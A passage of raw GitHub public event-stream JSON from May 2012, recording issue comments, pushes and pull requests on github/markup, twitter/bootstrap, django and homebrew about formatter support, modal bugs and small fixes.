arkup"},"created_at":"2012-05-20T12:05:45Z","id":"1553914335","actor":{"gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Lopo"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:59:10Z","body":"+1","updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808385","id":5808385,"user":{"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"login":"Twista"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":12,"updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:59:11Z","id":"1553913765","actor":{"gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Twista"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:53:44Z","body":"+1","updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808351","id":5808351,"user":{"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"login":"f3l1x"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":11,"updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:53:44Z","id":"1553913287","actor":{"gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"f3l1x"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:52:32Z","body":"+1 :)","updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808340","id":5808340,"user":{"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"login":"enumag"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":10,"updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:52:32Z","id":"1553913189","actor":{"gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"enumag"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:43:14Z","body":"Thanks! But in my case I have to wrap the the modal in a form...\n\nI'm thinking about something like this to fix it:\nI've to catch the enter key, when pressed and when a input is active.","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808288","id":5808288,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"}},"action":"created","issue":{"number":3343,"created_at":"2012-05-03T17:25:01Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I've got a modal with a form in it and a input field. In de footer of the modal a submit button. When clicking on the submit button the form will be submitted. When pressing enter, from the input field, the modal disappears. Simple example:\r\n\r\n```html\r\n

\r\n\t
\r\n\t\t
\r\n\t\t\t

Login

\r\n\t\t
\r\n\t\t
\t\r\n\t\t\t\r\n\t\t
\r\n\t\t
\r\n\t\t\t\r\n\t\t
\r\n\t
\r\n
\r\n```\r\n\r\nI hope it will be fixed soon!","comments":4,"title":"Modal disappears when press enter","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3343","id":4409660,"assignee":null,"milestone":null,"closed_at":"2012-05-04T19:04:44Z","html_url":"https://github.com/twitter/bootstrap/issues/3343","user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"},"labels":[],"state":"closed"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:43:16Z","id":"1553912424","actor":{"gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"royduin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:23:11Z","body":"can you add one more image? There is sometimes a min. of 3 images required for the carousel to work.","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808187","id":5808187,"user":{"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"login":"thaibluesky"}},"action":"created","issue":{"number":3528,"created_at":"2012-05-18T19:22:21Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Carousel does not start sliding to the next one after 5 seconds until after I click to the next slide. Only then does the timer start. What am I missing?","comments":8,"title":"Carousel does not start sliding","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3528","id":4647904,"assignee":null,"milestone":null,"closed_at":null,"labels":[],"html_url":"https://github.com/twitter/bootstrap/issues/3528","user":{"avatar_url":"https://secure.gravatar.com/avatar/3fdf23df74c9d4897818887e74686e48?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3fdf23df74c9d4897818887e74686e48","url":"https://api.github.com/users/gigdates","id":1179255,"login":"gigdates"},"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:23:15Z","id":"1553910775","actor":{"gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"thaibluesky"}},{"type":"PushEvent","payload":{"head":"03f86a5adb930eac55dea1e903fb958c002d5bc4","size":1,"push_id":79407330,"commits":[{"sha":"03f86a5adb930eac55dea1e903fb958c002d5bc4","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/03f86a5adb930eac55dea1e903fb958c002d5bc4","distinct":true,"message":"Fixed #18354 -- Performance issue in CBV.\n\nPrevented repeating a query twice when the model isn't ordered by\n-date_field (in Meta), allow_empty is False and pagination isn't\nenabled."}],"ref":"refs/heads/master"},"public":true,"org":{"gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T11:20:49Z","id":"1553910583","actor":{"gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:22:07Z","body":"Do you need any additional information from me?","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807859","id":5807859,"user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"}},"action":"created","issue":{"number":12215,"created_at":"2012-05-12T19:12:18Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12215.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12215.patch","html_url":"https://github.com/mxcl/homebrew/pull/12215"},"comments":2,"title":"Upgrade ArangoDB (formally known as AvocadoDB) to 0.5.0","body":"We had to rename AvocadoDB to ArangoDB due to legal issues.","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12215","id":4548813,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12215","user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"},"labels":[{"name":"renames","url":"https://api.github.com/repos/mxcl/homebrew/labels/renames","color":"e102d8"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T10:22:08Z","id":"1553905852","actor":{"gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fceller"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:20:14Z","body":"Cfernandi, thanks, but that didn't help. The words aren't smushing together, it's just one of the words is too long and overflows the right of the screen. I guess I'll just have to get a shorter surname :P","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807847","id":5807847,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"login":"hughrawlinson"}},"action":"created","issue":{"number":3230,"created_at":"2012-04-25T17:20:27Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"When you use a button to present a modal on mobile, the screen turns black, and only does the modal appear after some crafty scrolling and zooming. This is not apparent to a new user.\r\n\r\nAny fixes?\r\n\r\nMore discussion on the problem here: https://github.com/twitter/bootstrap/issues/1036","comments":16,"title":"Modals in 2.0 are broken on mobile.","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3230","id":4285344,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3230","user":{"avatar_url":"https://secure.gravatar.com/avatar/c8112e74c84fea5e2faccbc7da3c2ba9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c8112e74c84fea5e2faccbc7da3c2ba9","url":"https://api.github.com/users/ATSiem","id":1068543,"login":"ATSiem"},"labels":[{"name":"css","url":"https://api.github.com/repos/twitter/bootstrap/labels/css","color":"7a43b6"},{"name":"responsive","url":"https://api.github.com/repos/twitter/bootstrap/labels/responsive","color":"ae8bd4"}],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T10:20:18Z","id":"1553905709","actor":{"gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"hughrawlinson"}},{"type":"PushEvent","payload":{"head":"b0c1e5c081472436bf2300af3073cef1df1bd696","size":1,"push_id":79403570,"ref":"refs/heads/master","commits":[{"sha":"b0c1e5c081472436bf2300af3073cef1df1bd696","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/b0c1e5c081472436bf2300af3073cef1df1bd696","distinct":true,"message":"Documented next/previous_week. Refs #10890."}]},"public":true,"org":{"gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T09:58:44Z","id":"1553903002","actor":{"gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T09:27:14Z","body":"Please excuse the crudity of this model... ;) I'm too exhausted to really pretty it up right now, but here's a new mock-up based on a combination of my old one and some of the others I've seen here: http://jsfiddle.net/VEW2K/\n\nA rundown:\n\n* No javascript.\n* No extra tags (just a checkbox and a label).\n* Should degrade gracefully.\n\nI have not tested it in IE or Firefox, and I was not able to get CSS transitions working on the :before and :after pseudo content, so maybe someone else will have better luck. But I think it's cleaner than my old test, and I prefer a non-JS solution personally.","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807584","id":5807584,"user":{"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"login":"thomshouse"}},"action":"created","issue":{"number":1935,"created_at":"2012-02-13T00:05:29Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":39,"body":"Not sure if anyone has mentioned this or not, but it would be cool to have something like this:\r\n\r\nhttp://papermashup.com/demos/ajax-switch/","title":"Create ON/OFF Switch","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/1935","id":3194346,"assignee":null,"milestone":{"number":7,"created_at":"2012-01-09T17:18:56Z","due_on":null,"title":"v2.1.0","creator":{"avatar_url":"https://secure.gravatar.com/avatar/bc4ab438f7a4ce1c406aadc688427f2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bc4ab438f7a4ce1c406aadc688427f2c","url":"https://api.github.com/users/markdotto","id":98681,"login":"markdotto"},"url":"https://api.github.com/repos/twitter/bootstrap/milestones/7","id":71627,"closed_issues":4,"open_issues":15,"description":"","state":"open"},"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/1935","user":{"avatar_url":"https://secure.gravatar.com/avatar/25fb0acc0fc379c2974004bb5d050bc2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25fb0acc0fc379c2974004bb5d050bc2","url":"https://api.github.com/users/adetwiler","id":1124801,"login":"adetwiler"},"labels":[{"name":"feature","url":"https://api.github.com/repos/twitter/bootstrap/labels/feature","color":"4bb14b"}],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:27:16Z","id":"1553896923","actor":{"gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"thomshouse"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":3546,"created_at":"2012-05-20T09:00:43Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I have a problem when I integrate the content with jquery \".load\" (a form for example) in a modal window or a single page. All scripts tooltips, popover, datepicker no longer starts?\n\nBy cons scripts work fine in a normal page.\n\nIf I integrate content directly in the tags \"modal-body\" of the modal window, the scripts work perfectly\n\nThe objective is to integrate a form on the fly, in a single modal window, after the click of a button. But once the loaded content such as a datepicker does not work! or the tooltips on a label, ...\n\nhere a test : http://testcode.olvani.net/test2\n\nThank for reply\nOlivier","comments":0,"title":"Problem for load script (tooltips, popover,...) after use jquery .load dynamic content","updated_at":"2012-05-20T09:00:43Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3546","id":4658922,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3546","user":{"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"login":"olvani"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:00:45Z","id":"1553894937","actor":{"gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"olvani"}},{"type":"PullRequestEvent","payload":{"number":3545,"pull_request":{"issue_url":"https://github.com/twitter/bootstrap/issues/3545","number":3545,"head":{"repo":{"name":"bootstrap","size":120,"created_at":"2012-05-20T08:48:41Z","has_wiki":true,"clone_url":"https://github.com/pvorb/bootstrap.git","private":false,"watchers":1,"updated_at":"2012-05-20T08:54:22Z","ssh_url":"git@github.com:pvorb/bootstrap.git","fork":true,"url":"https://api.github.com/repos/pvorb/bootstrap","git_url":"git://github.com/pvorb/bootstrap.git","language":"JavaScript","id":4383503,"pushed_at":"2012-05-20T08:54:22Z","svn_url":"https://github.com/pvorb/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":0,"has_issues":false,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":0,"html_url":"https://github.com/pvorb/bootstrap","owner":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"label":"pvorb:patch-1","sha":"faf2866f96513dc1c2775974518d979feb554dbd","ref":"patch-1","user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"merged":false,"created_at":"2012-05-20T08:55:24Z","merged_by":null,"changed_files":1,"comments":0,"body":"Fix for issue #3543","title":"Remove re-declaration of font-fam, font-size, and line-height in p","diff_url":"https://github.com/twitter/bootstrap/pull/3545.diff","updated_at":"2012-05-20T08:55:24Z","additions":0,"_links":{"html":{"href":"https://github.com/twitter/bootstrap/pull/3545"},"self":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545"},"comments":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545/comments"},"issue":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545"},"review_comments":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545/comments"}},"url":"https://api.github.com/repos/twitter/bootstrap/pulls/3545","id":1388338,"patch_url":"https://github.com/twitter/bootstrap/pull/3545.patch","mergeable":null,"merged_at":null,"commits":1,"closed_at":null,"user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"},"deletions":3,"review_comments":0,"html_url":"https://github.com/twitter/bootstrap/pull/3545","state":"open","base":{"repo":{"name":"bootstrap","size":1244,"created_at":"2011-07-29T21:19:00Z","has_wiki":true,"clone_url":"https://github.com/twitter/bootstrap.git","private":false,"watchers":29097,"updated_at":"2012-05-20T08:48:41Z","ssh_url":"git@github.com:twitter/bootstrap.git","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","git_url":"git://github.com/twitter/bootstrap.git","language":"JavaScript","id":2126244,"pushed_at":"2012-05-18T05:00:54Z","svn_url":"https://github.com/twitter/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":222,"has_issues":true,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":5699,"html_url":"https://github.com/twitter/bootstrap","owner":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}},"label":"twitter:master","sha":"b261f9781bbf31f499cb55c49451dc0c0ad43062","ref":"master","user":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}}},"action":"opened"},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:55:26Z","id":"1553894547","actor":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","url":"https://api.github.com/users/pvorb","id":183534,"avatar_url":"https://secure.gravatar.com/avatar/b30a7